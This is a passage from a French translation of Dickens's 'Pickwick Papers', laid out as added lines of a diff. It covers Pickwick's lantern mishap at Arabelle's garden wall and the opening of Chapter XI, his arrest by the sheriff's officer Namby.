+tout, miss. Vous feriez mieux de le voir.
+
+--Mais où? comment? s'écria Arabelle. Je ne puis quitter la maison toute
+seule, mon frère est si peu raisonnable, si injuste! Je sais combien il
+peut paraître étrange que je vous parle ainsi, M. Weller, mais je suis
+malheureuse, bien malheureuse!...»
+
+Ici la pauvre Arabelle se mit à pleurer amèrement, et Sam devint
+chevaleresque.
+
+«C'est possible que ça ait l'air étrange, reprit-il avec une grande
+véhémence, mais tout ce que je puis dire, c'est que je suis disposé à
+faire l'impossible pour arranger les affaires, et si ça peut être utile
+de jeter soit l'un soit l'autre des carabins par la fenêtre, je suis
+votre homme.» En disant ceci, et pour intimer son empressement de se
+mettre à l'ouvrage, Sam releva ses parements d'habit, au hasard imminent
+de tomber du haut en bas du mur, pendant cette manifestation.
+
+Quelque flatteuse que fût cette profession de dévouement, Arabelle
+refusa obstinément d'y avoir recours, au grand étonnement de l'héroïque
+valet. Pendant quelque temps elle refusa, tout aussi courageusement,
+d'accorder à M. Winkle l'entrevue demandée par Sam d'une manière si
+pathétique; mais à la fin, et lorsque la conversation menaçait d'être
+interrompue par l'arrivée intempestive d'un tiers, elle lui donna
+rapidement à entendre, avec beaucoup d'expressions de gratitude, qu'il
+ne serait pas impossible qu'elle se trouvât dans le jardin le lendemain,
+une heure plus tard. Sam comprit parfaitement la chose; et Arabelle, lui
+ayant accordé un de ses plus doux sourires, s'éloigna d'un pas leste et
+gracieux, laissant M. Weller dans une vive admiration de ses charmes,
+tant spirituels que corporels.
+
+Descendu sans encombre de sa muraille, Sam n'oublia pas de dévouer
+quelques minutes à ses propres affaires, dans le même département; puis
+il retourna directement à l'hôtel du Buisson, où son absence prolongée
+avait occasionné beaucoup de suppositions et quelques alarmes.
+
+«Il faudra que nous soyons très-prudents, dit M. Pickwick après avoir
+écouté attentivement le récit de Sam: non dans notre propre intérêt,
+mais dans celui de la jeune lady. Il faudra que nous soyons
+très-prudents.
+
+--Nous? s'écria M. Winkle avec une emphase marquée.»
+
+Le ton de cette observation arracha à M. Pickwick un coup d'oeil
+d'indignation momentanée, mais qui fut remplacé presque aussitôt par son
+expression de bienveillance accoutumée, lorsqu'il répondit: «Oui,
+_nous_, monsieur! Je vous accompagnerai.
+
+--Vous? s'écria M. Winkle.
+
+--Moi, reprit M. Pickwick d'un ton doux. En vous accordant cette
+entrevue, la jeune lady a fait une démarche naturelle, peut-être, mais
+très-imprudente. Si je m'y trouve présent, moi qui suis un ami commun,
+et assez vieux pour être le père de l'un et de l'autre, la voix de la
+calomnie ne pourra jamais s'élever contre elle, par la suite.»
+
+En parlant ainsi, la contenance de M. Pickwick s'illumina d'une honnête
+satisfaction de sa propre prévoyance.
+
+M. Winkle fut touché de cette preuve délicate de respect donnée par M.
+Pickwick à sa jeune protégée. Il saisit la main du philosophe avec un
+sentiment qui tenait de la vénération.
+
+«Vous y viendrez? lui dit-il.
+
+--Oui, répliqua M. Pickwick. Sam, vous préparerez mon paletot et mon
+châle, et vous aurez soin de faire venir une voiture à la porte, demain
+soir un peu avant l'heure nécessaire, afin que nous soyons sûrs
+d'arriver à temps.»
+
+Sam toucha son chapeau en signe d'obéissance et se retira pour faire les
+préparatifs de l'expédition.
+
+La voiture fut ponctuelle à l'heure désignée, et après avoir installé M.
+Pickwick et M. Winkle dans l'intérieur, Sam se plaça sur le siége à côté
+du cocher. Ils descendirent comme ils étaient convenus, à environ un
+quart de mille du lieu du rendez-vous, et, ordonnant au cocher
+d'attendre leur retour, firent le reste du chemin à pied.
+
+C'est dans cette période de leur entreprise que M. Pickwick, avec
+plusieurs sourires et divers autres signes d'un grand contentement
+intérieur, tira d'une de ses poches une lanterne sourde dont il s'était
+pourvu spécialement pour cette occasion. Tout en marchant, il en
+expliquait à M. Winkle la grande beauté mécanique, à l'immense surprise
+du peu de passants qu'ils rencontraient.
+
+«Je m'en serais mieux trouvé si j'avais eu quelque chose de la sorte
+dans ma dernière expédition nocturne, au jardin de la pension, eh! eh!
+Sam? dit-il en se tournant avec bonne humeur vers son domestique qui
+marchait derrière lui.
+
+--Très-jolies choses quand on connaît la manière de s'en servir,
+monsieur. Mais si on ne veut pas être vu, je crois qu'elles sont plus
+utiles quand la chandelle est éteinte.»
+
+M. Pickwick fut apparemment frappé de la remarque de Sam, car il mit la
+lanterne dans sa poche, et ils continuèrent à marcher en silence.
+
+«Par ici, monsieur, murmura Sam. Laissez-moi vous conduire. Voici la
+ruelle, monsieur.»
+
+Ils entrèrent dans la ruelle, et comme elle était passablement noire, M.
+Pickwick, pour voir le chemin, tira deux ou trois fois sa lanterne, et
+jeta devant eux une petite échappée de lumière fort brillante d'environ
+un pied de diamètre. C'était extrêmement joli à regarder; mais cela ne
+semblait avoir d'autre effet que de rendre plus obscures les ténèbres
+environnantes.
+
+À la fin, ils arrivèrent à la grosse pierre, sur laquelle Sam fit
+asseoir son maître et M. Winkle, tandis qu'il allait faire une
+reconnaissance, et s'assurer que Mary les attendait.
+
+Après une absence de huit ou dix minutes, Sam revint dire que la porte
+était ouverte et que tout paraissait tranquille. M. Pickwick et M.
+Winkle, le suivant d'un pas léger, se trouvèrent bientôt dans le jardin,
+et là tout le monde se prit à dire: Chut! chut! un assez grand nombre de
+fois; mais cela étant fait, personne ne sembla plus avoir une idée
+distincte de ce qu'il fallait faire ensuite.
+
+«Miss Allen est-elle déjà dans le jardin, Mary? demanda M. Winkle fort
+agité.
+
+--Je n'en sais rien, monsieur, répondit la jolie bonne. La meilleure
+chose à faire, c'est que M. Weller vous donne un coup d'épaule dans
+l'arbre, et peut-être que monsieur Pickwick aura la bonté de voir si
+personne ne vient dans la ruelle pendant que je monterai la garde à
+l'autre bout du jardin. Seigneur! qu'est-ce que cela?
+
+--Cette satanée lanterne causera notre malheur à tous! s'écria Sam
+aigrement. Prenez garde à ce que vous faites, monsieur; vous envoyez un
+tremblement de lumière, droit dans la fenêtre du parloir.
+
+--Pas possible!... dit M. Pickwick, en détournant brusquement sa
+lanterne. Je ne l'ai pas fait exprès.
+
+--Maintenant, vous illuminez la maison voisine, monsieur.
+
+--Bonté divine!... s'écria M. Pickwick en se détournant encore.
+
+--Voilà que vous éclairez l'écurie, et l'on croira que le feu y est.
+Fermez la cloison, monsieur; est-ce que vous ne pouvez pas?
+
+--C'est la lanterne la plus extraordinaire que j'aie jamais rencontrez
+dans toute ma vie! s'écria M. Pickwick, grandement abasourdi par les
+effets pyrotechniques qu'il avait produits sans le vouloir. Je n'ai
+jamais vu de réflecteur si puissant.
+
+--Il sera trop puissant pour nous, si vous le tenez flambant de cette
+manière ici, monsieur, répliqua Sam, comme M. Pickwick, après d'autres
+efforts inutiles, parvenait à fermer la coulisse. J'entends les pas de
+la jeune lady, monsieur Winkle, monsieur, oup là!
+
+--Arrêtez, arrêtez!... dit M. Pickwick. Je veux lui parler d'abord;
+aidez-moi, Sam.
+
+--Doucement, monsieur, répondit Sam en plantant sa tête contre le mur et
+faisant une plate-forme de son dos. Montez sur ce pot de fleur ici,
+monsieur. Allons maintenant, oup!
+
+--J'ai peur de vous blesser, Sam.
+
+--Ne vous inquiétez pas, monsieur. Aidez-le à monter, monsieur Winkle.
+Allons, monsieur, allons! voilà le moment.»
+
+Sam parlait encore, et déjà M. Pickwick était parvenu à lui grimper sur
+le dos, par des efforts presque surnaturels chez un gentleman de son âge
+et de son poids. Ensuite Sam se redressa doucement, et M. Pickwick,
+s'accrochant au sommet du mur, tandis que M. Winkle le poussait par les
+jambes, ils parvinrent de cette façon à amener ses lunettes juste au
+niveau du chaperon.
+
+«Ma chère, dit M. Pickwick, en regardant par-dessus le mur et en
+apercevant de l'autre côté Arabelle, n'ayez pas peur ma chère, c'est
+seulement moi.
+
+--Oh! je vous en supplie, monsieur Pickwick, allez-vous-en! Dites-leur
+de s'en aller; je suis si effrayée! Cher monsieur Pickwick, ne restez
+pas là; vous allez tomber et vous tuer, j'en suis sûre.
+
+--Allons, ma chère enfant, ne vous alarmez pas, reprit M. Pickwick d'un
+ton encourageant. Il n'y a pas le plus petit danger, je vous assure.
+Tenez-vous ferme, Sam, continua-t-il en regardant en bas.
+
+--Tout va bien, monsieur, répliqua Sam. Cependant ne soyez pas plus long
+qu'il ne faut, si ça vous est égal; vous êtes un brin pesant, monsieur.
+
+--Encore un seul instant, Sam. Je désirais seulement vous apprendre, ma
+chère, que je n'aurais pas permis à mon jeune ami de vous voir de cette
+manière clandestine, si la situation dans laquelle vous êtes placée lui
+avait laissé une autre alternative. Mais, de peur que l'inconvenance de
+cette démarche ne vous causât quelque déplaisir, j'ai voulu vous faire
+savoir que je suis présent. Voila tout, ma chère.
+
+--En vérité, monsieur Pickwick, je vous suis très-obligée pour votre
+bonté et votre prévoyance, répondit Arabelle en essuyant ses larmes avec
+son mouchoir.»
+
+Elle en aurait dit bien davantage, sans doute, si la tête de M. Pickwick
+n'avait pas soudainement disparu, en conséquence d'un faux pas qu'il
+avait fait sur l'épaule de Sam, et grâce auquel il se trouva tout à coup
+sur la terre. Cependant il fut remis sur ses pieds en un moment, et,
+disant à M. Winkle de se hâter de terminer son entrevue, il courut au
+bout de la ruelle pour monter la garde avec tout le courage et l'ardeur
+d'un jeune homme. M. Winkle, inspiré par l'occasion, fut sur le mur en
+un clin d'oeil; il s'y arrêta néanmoins pour engager Sam à prendre soin
+de son maître.
+
+«Soyez tranquille, monsieur, je m'en charge.
+
+--Où est-il, que fait-il, Sam?
+
+--Dieu bénisse ses vieilles guêtres! répliqua Sam en regardant vers la
+porte du jardin. Il monte la garde dans la ruelle avec sa lanterne
+sourde, comme un aimable Mandrin. Je n'ai jamais vu une si charmante
+créature de mes jours. Dieu me sauve! si je n'imagine pas que son coeur
+doit être venu au monde vingt-cinq ans après son corps, pour le moins.»
+
+M. Winkle n'était pas resté pour entendre l'éloge de son ami; il s'était
+précipité à bas du mur, il s'était jeté aux pieds d'Arabelle, et
+plaidait la sincérité de sa passion avec une éloquence digne de M.
+Pickwick lui-même.
+
+Pendant que ces choses se passaient en plein air, un gentleman d'un
+certain âge, et fort distingué dans les sciences, était assis dans sa
+bibliothèque, deux ou trois maisons plus loin et s'occupait à écrire un
+traité philosophique, adoucissant de temps en temps son gosier et son
+travail avec un verre de Bordeaux, qui résidait à côté de lui dans une
+bouteille vénérable. Pendant les agonies de la composition, le savant
+gentleman regardait quelquefois le tapis, quelquefois le plafond,
+quelquefois la muraille; et quand ni le tapis, ni le plafond, ni la
+muraille ne lui donnaient le degré nécessaire d'inspiration, il
+regardait par la fenêtre.
+
+Dans une de ces défaillances de l'invention, notre savant observait avec
+abstraction les ténèbres extérieures, lorsqu'il fut étrangement surpris
+en remarquant une lumière très-brillante qui glissait dans les airs, à
+une petite distance du sol, et qui s'évanouit presque instantanément. Au
+bout de quelques secondes, le phénomène s'était répété, non pas une
+fois, ni deux, mais plusieurs.
+
+À la fin, le savant déposa sa plume, et commença à chercher quelle
+pouvait être la cause naturelle de ces apparences.
+
+Ce m'étaient point des météores, elles luisaient trop bas; ce n'étaient
+pas des vers luisants, elles brillaient trop haut. Ce n'étaient point
+des feux follets, ce n'étaient point des mouches phosphoriques, ce
+n'étaient point des feux d'artifice; que pouvait-ce donc être? Quelque
+jeu de la nature, étonnant, extraordinaire, qu'aucun philosophe n'avait
+jamais vu auparavant; quelque chose que lui seul était destiné à
+découvrir, et qui, recueilli par lui pour le bénéfice de la postérité,
+devait immortaliser son nom. Plein de ces idées, le savant saisit de
+nouveau sa plume, et confia au papier la description exacte et
+minutieuse de ces apparitions sans exemple, avec la date, le jour,
+l'heure, la minute, la seconde précise où elles avaient été visibles.
+C'étaient les premiers matériaux d'un volumineux traité, plein de
+grandes recherches et de science profonde, qui devait étonner toutes les
+sociétés météorologiques des contrées civilisées.
+
+Enivré par la contemplation de sa future grandeur, le savant se renversa
+dans son fauteuil. La mystérieuse lumière reparut, plus brillante que
+jamais, dansant, en apparence, du haut en bas de la ruelle, passant d'un
+côté à l'autre, et se mouvant dans une orbite aussi excentrique que
+celle des comètes elles-mêmes.
+
+Le savant était garçon: ne pouvant appeler sa femme pour l'étonner, il
+tira la sonnette et fit venir son domestique. «Pruffie, lui dit-il, il y
+a cette nuit dans l'air quelque chose de bien extraordinaire. Avez-vous
+vu cela? Et il montrait, par la fenêtre, les rayons lumineux qui
+venaient de reparaître.
+
+--Oui, monsieur.
+
+--Et qu'en pensez-vous, Pruffie?
+
+--Ce que j'en pense, monsieur?
+
+--Oui. Vous avez été élevé à la campagne; savez-vous quelle est la cause
+de ces lumières?»
+
+La savant attendait en souriant une réponse négative.
+
+«Monsieur, dit-il à la fin, j'imagine que ce sont des voleurs.
+
+--Vous êtes un sot! Vous pouvez retourner en bas.
+
+--Merci, monsieur, répondit Pruffie; et il s'en alla.»
+
+Cependant le savant était cruellement tourmenté par l'idée que son
+profond traité serait infailliblement perdu pour le monde, si
+l'hypothèse de l'ingénieux M. Pruffie n'était pas étouffée dès sa
+naissance. Il mit donc son chapeau et descendit doucement dans son
+jardin, déterminé à étudier à fond le météore.
+
+Or, quelque temps avant que le savant fût descendu dans son jardin, M.
+Pickwick, croyant entendre venir quelqu'un, avait couru jusqu'au fond de
+la ruelle, le plus vite qu'il avait pu, pour communiquer une fausse
+alerte, et, dans sa course rapide, avait de temps en temps tiré la
+coulisse de sa lanterne sourde pour éviter de tomber dans le fossé.
+Aussitôt que cette alerte eut été donnée, M. Winkle regrimpa sur son
+mur, Arabelle courut dans sa maison, la porte du jardin fut fermée, et
+nos trois aventuriers s'en revenaient, de leur mieux, le long de la
+ruelle, quand ils furent effrayés par le bruit que faisait le savant en
+ouvrant la porte de son jardin.
+
+«Halte! murmura Sam, qui marchait en avant, bien entendu. Montrez la
+lumière juste une seconde, monsieur.»
+
+M. Pickwick fit ce qui lui était demandé, et Sam voyant une tête d'homme
+qui s'avançait avec précaution, à environ deux pieds de la sienne, lui
+donna de son poing fermé une légère tape qui lui fit sonner le creux
+contre la grille; puis, ayant accompli cet exploit avec grande
+promptitude et dextérité, il prit M. Pickwick sur son dos et suivit M.
+Winkle le long de la ruelle, avec une rapidité véritablement étonnante,
+vu le poids dont il était chargé.
+
+«Monsieur, demanda-t-il à son maître, quand il fut arrivé au bout,
+avez-vous repris votre respire?
+
+--Tout à fait... tout à fait maintenant, répliqua M. Pickwick.
+
+--Allons! pour lors, reprit Sam en remettant le philosophe sur ses
+pieds, venez entre nous, monsieur; pas plus d'un demi-mille à courir.
+Imaginez que vous gagnez un prix, et en route!»
+
+Ainsi encouragé, M. Pickwick fit le meilleur usage possible de ses
+jambes, et l'on peut assurer avec confiance que jamais une paire de
+guêtres noires n'arpenta le terrain plus lestement que ne le firent les
+guêtres de M. Pickwick dans cette occasion mémorable.
+
+La voiture attendait, les chevaux étaient frais, la route bonne et le
+cocher bien disposé. Toute la troupe arriva saine et sauve à l'hôtel
+avant que M. Pickwick eût eu le temps de reprendre haleine.
+
+«Entrez tout de suite, monsieur, dit Sam en aidant son maître à
+descendre. Ne restez pas une seconde dans la rue après cet exercice ici.
+Je vous demande pardon, monsieur, continua-t-il, en touchant son
+chapeau, à M. Winkle qui descendait de la voiture. J'espère qui n'y a
+pas d'attachement antérieur?»
+
+M. Winkle serra la main de son humble ami, et lui dit à l'oreille: «Tout
+va bien, Sam; parfaitement bien!»
+
+À cette annonce, M. Weller, en signe d'intelligence, frappa trois coups
+distincts sur son nez, sourit, cligna de l'oeil, et monta l'escalier,
+avec une physionomie qui exprimait la satisfaction la plus vive.
+
+Quant au savant gentleman de la ruelle, il démontra, dans un admirable
+traité, que ces étonnantes lumières étaient des effets de l'électricité,
+et il le prouva clairement, en détaillant comment un éclair éblouissant
+avait dansé devant ses yeux, lorsqu'il avait mis la tête hors de sa
+porte, et comment il avait reçu un choc qui l'avait étourdi pendant un
+grand quart d'heure. Grâce à cette démonstration, qui charma toutes les
+sociétés savantes de l'univers, il fut toujours considéré, depuis lors,
+comme une des lumières de la science.
+
+
+
+
+CHAPITRE XI.
+
+Où l'on voit M. Pickwick sur une nouvelle scène du grand drame de la
+vie.
+
+
+Le reste du temps que M. Pickwick avait destiné à son séjour à Bath
+s'écoula sans rien amener de remarquable. Le terme de la Trinité
+commençait, et avant que sa première semaine fût achevée, M. Pickwick,
+revenu à Londres, avec ses amis, était allé s'établir dans ses anciens
+quartiers, à l'hôtel de _George-et-Vautour_.
+
+Trois jours après leur arrivée, juste au moment où les horloges de la
+cité sonnaient individuellement neuf heures du matin, et collectivement
+environ neuf cents heures, Sam était en train de prendre l'air dans la
+cour, lorsqu'il vit s'arrêter devant la porte de l'hôtel une étrange
+sorte de véhicule, fraîchement peint, hors duquel sauta légèrement une
+étrange sorte de gentleman, qui semblait fait pour le véhicule, comme le
+véhicule semblait fait pour lui, et qui donna les rênes à un gros homme
+assis auprès de lui.
+
+Ce véhicule n'était pas exactement un tilbury, et n'était pas non plus
+un phaéton. Ce n'était pas ce qu'on appelle vulgairement un dog-cart, ni
+une carriole, ni un cabriolet; et cependant il participait du caractère
+de chacune de ces machines. La caisse était peinte en jaune clair, sur
+lequel se détachaient, en noir, les rayons et les jantes des roues. Le
+conducteur était assis, suivant le style classique, sur des coussins
+empilés environ deux pieds au-dessus du dossier. Le cheval était un
+animal bai, d'assez bonne tournure, mais ayant néanmoins un air de
+mauvais ton et de mauvais sujet à la fois, qui s'accordait admirablement
+avec le véhicule et avec son maître.
+
+Le maître lui-même était un homme d'une quarantaine d'années, ayant des
+cheveux et des favoris noirs, soigneusement peignés. Il était vêtu d'une
+manière singulièrement recherchée, et couvert d'une quantité de bijoux,
+tous environ trois fois plus grands que ceux qui sont portés
+ordinairement par un gentleman. Pour couronner le tout, il était
+enveloppé d'une grosse redingote à long poils.
+
+Aussitôt qu'il fut descendu, il fourra sa main gauche dans l'une des
+poches de sa redingote, tandis qu'avec sa main droite, il tirait d'une
+autre poche un foulard très-brillant, dont il se servit pour épousseter
+trois grains de poussière sur ses bottes, et qu'il garda ensuite, en le
+froissant dans sa main, pour traverser la cour d'un air fendant.
+
+Pendant que ce personnage descendait de voiture, Sam remarqua qu'un
+autre homme, vêtu d'une vieille redingote brune, veuve de plusieurs
+boutons, et qui, jusque là, était resté à flâner de l'autre côté de la
+rue, la traversa et se tint immobile non loin de la porte. Ayant plus
+d'un soupçon sur le but de la visite du premier gentleman, Sam le
+précéda à l'entrée de l'hôtel, et, se retournant brusquement, se planta
+au centre de la porte.
+
+«Allons! mon garçon,» dit le gentleman d'un ton impérieux, en essayant
+en même temps de pousser Sam.
+
+«Allons! monsieur. Qu'est-ce que c'est?» répliqua Sam, en lui rendant sa
+bousculade avec les intérêts composés.
+
+«Allons, allons! mon garçon, ça ne prend pas avec moi, rétorqua
+l'étranger, en élevant la voix et en devenant tout blanc. Ici, Smouch.
+
+--Ben! quoi qui gnia,» grommela l'homme à la redingote brune, qui
+pendant ce court dialogue s'était graduellement avancé dans la cour.
+
+«C'est ce jeune homme qui fait l'insolent,» dit le principal, en
+poussant Sam de nouveau.
+
+«Ohé, pas de bêtises!» gronda Smouch, en bourrant Sam beaucoup plus
+fort.
+
+Ce compliment eut le résultat qu'en attendait l'habile M. Smouch: car
+tandis que Sam, empressé d'y répondre, le froissait contre la porte, le
+principal se faufilait, et pénétrait jusqu'au bureau. Sam l'y suivit
+immédiatement, après avoir échangé avec M. Smouch quelques arguments,
+composés principalement d'épithètes.
+
+«Bonjour, ma chère, dit le principal, en s'adressant à la jeune personne
+du bureau, avec une aisance de détenu libéré. Où est la chambre de M.
+Pickwick, ma chère?
+
+--Conduisez-le,» dit la jeune lady au garçon, sans daigner jeter un
+second coup d'oeil au fashionable.
+
+Le garçon se mit en route, suivi du personnage; Sam venait derrière, et
+tant le long de l'escalier se soulageait par d'innombrables gestes de
+défi et de mépris suprême, à la grande satisfaction des domestiques et
+des autres spectateurs de cette scène. M. Smouch, qui était troublé par
+une grosse toux, resta en bas, et expectora dans le passage.
+
+M. Pickwick était profondément endormi dans son lit, quand ce visiteur
+matinal entra dans sa chambre, toujours suivi par Sam. Le bruit de cette
+intrusion le réveilla.
+
+«De l'eau pour ma barbe, Sam,» dit-il sans ouvrir les yeux.
+
+«Oui, oui, nous allons vous faire la barbe, M. Pickwick, dit l'étranger,
+en tirant un des rideaux du lit. J'ai un mandat d'arrêt contre vous, à
+la requête de Bardell. Voici le _warrant_, lancé par la cour des _common
+pleas_; et voilà ma carte. Je suppose que vous viendrez chez moi?»
+
+En parlant ainsi, l'officier du shériff, car tel était son titre, donna
+une tape amicale sur l'épaule de M. Pickwick, puis il jeta sa carte sur
+la courte-pointe, et tira de la poche de son gilet un cure-dents, en or.
+
+«Namby est mon nom, poursuivit-il, pendant que M. Pickwick aveignait ses
+lunettes de dessous son traversin, et les mettait sur son nez pour lire
+la carte. Namby, Bell Aley, Coleman Street.»
+
+En cet endroit, Sam qui avait eu jusque-là les yeux fixés sur le chapeau
+luisant de M. Namby, l'interrompit:
+
+«Êtes-vous quaker[12]?» lui demanda-t-il.
+
+[Footnote 12: Les _quakers_ gardent leur chapeau en certaines occasions
+où d'autres se croient tenus de l'ôter.]
+
+«Je vous ferai connaître ce que je suis, avant de vous quitter, répondit
+l'officier indigné. Je vous apprendrai la politesse, mon garçon, un de
+ces beaux matins.
+
+--Merci, répliqua Sam. J'en ferai autant pour vous, tout de suite. Ôtez
+vot' chapeau.» En parlant ainsi, Sam envoyait, d'un revers de main, le
+chapeau de M. Namby à l'autre bout de la chambre, et cela avec tant de
+violence, que peu s'en fallut qu'il n'y fit voler le cure-dents d'or
+par-dessus le marché.
+
+«Observez cela, M. Pickwick, s'écria l'officier déconcerté, en reprenant
+haleine. J'ai été attaqué dans votre chambre, par votre domestique, dans
+l'exercice de mes fonctions. J'ai des craintes personnelles, je vous
+prends à témoin.
+
+--Ne soyez témoin de rien, monsieur, interrompit Sam, fermez vos yeux
+solidement, monsieur! Je le jetterais volontiers par la fenêtre;
+seulement il ne tomberait pas assez loin, à cause du plomb.
+
+--Sam! s'écria M. Pickwick d'une voix mécontente, pendant que son
+domestique faisait diverses démonstrations d'hostilités, si vous dites
+une autre parole, si vous causez le moindre trouble à cette personne, je
+vous renvoie sur-le-champ.
+
+--Mais, monsieur....
+
+--Taisez-vous et ramassez ce chapeau.»
+
+Malgré la sévère réprimande de son maître, Sam refusa positivement de
+relever le chapeau; et comme l'officier du _shérif_ était pressé, il
+condescendit à le ramasser lui-même. Ce ne fut pas, toutefois, sans
+lancer contre Sam un déluge de menaces, que celui-ci recevait avec la
+plus grande tranquillité, se contentant de faire observer que si M.
+Namby voulait avoir la bonté de remettre son chapeau sur sa tête, il le
+lui enverrait aux grandes Indes. M. Namby, pensant qu'une telle
+opération produirait peut-être quelques inconvénients pour lui-même, ne
+voulut pas exposer son adversaire à une trop forte tentation, et bientôt
+après appela Smouch. L'ayant informé que la capture était faite, et
+qu'il n'avait plus qu'à attendre jusqu'à ce que le prisonnier eût fini
+de s'habiller, Namby s'en fut en se pavanant et remonta dans son
+véhicule. Smouch ayant prié M. Pickwick de _ne pas s'endormir_, tira une
+chaise auprès de la porte et y resta assis jusqu'à ce que notre héros
+eût fini de s'habiller. Sam fut alors dépêché pour amener une voiture de
+place, dans laquelle le triumvirat se rendit à Coleman-Street. Le trajet
+n'était pas long, heureusement; car, outre que M. Smouch n'était pas
+doué d'une conversation fort enchanteresse, sa société était rendue
+décidément désagréable, dans un espace limité, par la faiblesse physique
+à laquelle nous avons fait allusion plus haut.
+
+La voiture ayant tourné dans une rue très-sombre et très-étroite,
+s'arrêta devant une maison dont toutes les fenêtres étaient grillées. La
+muraille en était décorée du nom et du titre de _Namby, officier des
+shérifs de Londres_. La porte intérieure ayant été ouverte, au moyen
+d'une énorme clef, par un gentleman qui pouvait passer pour un frère
+jumeau négligé de M. Smouch, M. Pickwick fut introduit dans la salle du
+café.
+
+Cette salle du café était principalement remarquable par du sable frais,
+qui jonchait le plancher, et par une odeur de tabac qui parfumait l'air.
+M. Pickwick salua en entrant, trois personnes qui s'y trouvaient, et
+ayant envoyé Sam pour chercher M. Perker, se retira dans un coin obscur,
+et de là regarda avec quelque curiosité ses nouveaux compagnons.
+
+Un de ceux-ci était un jeune garçon de dix-neuf ou vingt ans, qui,
+quoiqu'il fût à peine dix heures du matin, buvait de l'eau et du
+genièvre, et fumait un cigare, amusements auxquels il devait avoir
+dévoué presque constamment les deux ou trois dernières années de sa vie,
+à en juger par sa contenance enflammée. En face de lui, et s'occupant à
+attiser le feu avec le bout de sa botte droite, se trouvait un jeune
+homme, d'environ trente ans, épais, vulgaire, au visage jaune, à la voix
+dure, et possédant évidemment cette connaissance du monde et cette
+séduisante liberté de manières qui s'acquiert dans les salles de
+billards et les estaminets de bas étage. Le troisième prisonnier était
+un homme d'un certain âge, vêtu d'un très-vieil habit noir. Son visage
+était pâle et hagard, et il parcourait incessamment la chambre,
+s'arrêtant de temps en temps pour regarder par la fenêtre avec beaucoup
+d'inquiétude, comme s'il eût attendu quelqu'un. Après quoi il
+recommençait à marcher.
+
+«Vous feriez mieux d'accepter mon rasoir ce matin, M. Ayresleigh,» dit
+l'homme qui attisait le feu, en clignant de l'oeil à son ami, le jeune
+garçon.
+
+--Non, je vous remercie, je n'en aurai pas besoin. Je compte bien être
+dehors avant une heure ou deux,» répliqua l'autre avec précipitation;
+puis allant, une fois de plus, à la fenêtre, et revenant encore
+désappointé, il soupira profondément et quitta la chambre. Les deux
+autres poussèrent des éclats de rire bruyants.
+
+«Eh bien, je n'ai jamais vu une farce comme cela! dit le gentleman qui
+avait offert le rasoir, et dont le nom paraissait être Price. Jamais!»
+Il confirma cette assertion par un juron, et recommença à rire; en quoi
+il fut imité par le jeune garçon qui le regardait évidemment comme un
+modèle accompli.
+
+«Croiriez-vous, continua Price en se tournant vers M. Pickwick, que ce
+bonhomme-là, qui est ici depuis huit jours, ne s'est point encore rasé
+une fois? Il se croit si sûr de sortir avant une demi-heure, qu'il aime
+autant attendre qu'il soit rentré chez lui.
+
+--Pauvre homme! dit M. Pickwick. A-t-il réellement quelques chances de
+se tirer d'affaire?
+
+--Des chances? il n'en a pas la queue d'une. Je ne donnerais pas ça
+pour la chance qu'il a de marcher dans la rue d'ici à dix ans.» En
+parlant ainsi, M. Price secouait contemptueusement ses doigts. Un
+instant après il tira la sonnette.
+
+«Apportez-moi une feuille de papier, Crookey, dit-il au domestique, qui,
+par sa mise et par sa tournure, avait l'air de tenir le milieu entre un
+nourrisseur banqueroutier et un bouvier en état d'insolvabilité. Un
+verre de grog avec, Crookey, entendez-vous? Je vais écrire à mon père,
+et il me faut du stimulant, autrement je ne serais pas capable
+d'entortiller le vieux.»
+
+Il est inutile de dire que le jeune homme se pâma, en entendant ce
+discours facétieux.
+
+«Voilà la chose, continua M. Price. Faut pas se laisser abattre; c'est
+amusant, hein?
+
+--Fameux! dit le jeune gentleman.
+
+--Vous avez de l'aplomb, reprit M. Price, approbativement. Vous avez vu
+le monde?
+
+--Un peu!» répliqua le jeune homme. Il l'avait regardé à travers les
+vitres malpropres d'un estaminet.
+
+M. Pickwick n'était pas médiocrement dégoûté par ce dialogue, aussi bien
+que par l'air et les manières des deux êtres qui l'échangeaient. Il
+allait demander s'il n'était pas possible d'avoir une chambre
+particulière, lorsqu'il vit entrer deux ou trois étrangers, d'une
+apparence assez respectable. En les apercevant, le jeune homme jeta son
+cigare dans le feu, et dit tout bas à M. Price qu'ils étaient venus pour
+le tirer d'affaire, puis il se retira avec eux, auprès d'une table, à
+l'autre bout de la chambre.
+
+Il paraîtrait cependant qu'on ne tirait pas le jeune homme _d'affaire_
+aussi promptement qu'il l'avait imaginé; car il s'en suivit une
+très-longue conversation, dont M. Pickwick ne put s'empêcher d'entendre
+certains passages, concernant une conduite dissolue et des pardons
+répétés. À la fin, le plus vieux des trois étrangers fit des allusions
+fort distinctes à une certaine rue Whitecross[13], au nom de laquelle le
+jeune gentleman, malgré son aplomb et sa connaissance du monde, appuya
+sa tête sur la table, et se mit à sangloter cruellement.
+
+[Footnote 13: Rue où se trouve la prison pour dettes.]
+
+Très-satisfait d'avoir vu si soudainement rabaisser le ton et abattre la
+valeur du jeune homme, M. Pickwick tira la sonnette, et fut conduit, sur
+sa requête, dans une chambre particulière, garnie d'un tapis, d'une
+table, de plusieurs chaises, d'un buffet, d'un sofa, et ornée d'une
+glace et de plusieurs vieilles gravures. Là, tandis que son déjeuner
+s'apprêtait, il eut l'avantage d'entendre Mme Namby toucher au piano,
+au-dessus de sa tête, et quand le déjeuner arriva, M. Perker arriva
+aussi.
+
+«Ah! ah! mon cher monsieur, dit le petit avoué; coffré à la fin, eh?
+Allons, allons! je n'en suis pas très-fâché, parce que vous allez voir
+l'absurdité de cette conduite. J'ai noté le montant des frais taxés et
+des dommages, et nous ferons bien de régler cela, sans perdre de temps.
+Namby doit-être revenu à l'heure qu'il est. Qu'en dites-vous, mon cher
+monsieur? Voulez-vous écrire un mandat, ou bien aimez-vous mieux m'en
+charger?» En disant ceci, Perker se frottait les mains, avec une gaieté
+affectée; mais, ayant observé la contenance de M. Pickwick, il ne put
+s'empêcher de jeter vers Sam un regard découragé.
+
+«Perker, dit M. Pickwick, je vous prie de ne plus me parler de cela. Je
+ne vois aucun avantage à rester ici; ainsi j'irai à la prison ce soir.
+
+--Vous ne pouvez pas aller à Whitecross, mon cher monsieur, s'écria le
+petit homme; impossible! Il y a soixante lits par dortoir, et les
+grilles sont fermées seize heures sur vingt-quatre.
+
+--J'aimerais mieux aller dans quelque autre prison, si je le puis,
+répondit M. Pickwick. Si non, je m'arrangerai le mieux que je pourrai de
+celle-là.
+
+--Vous pouvez aller à la prison de Fleet-Street, mon cher monsieur; si
+vous êtes déterminé à aller quelque part.
+
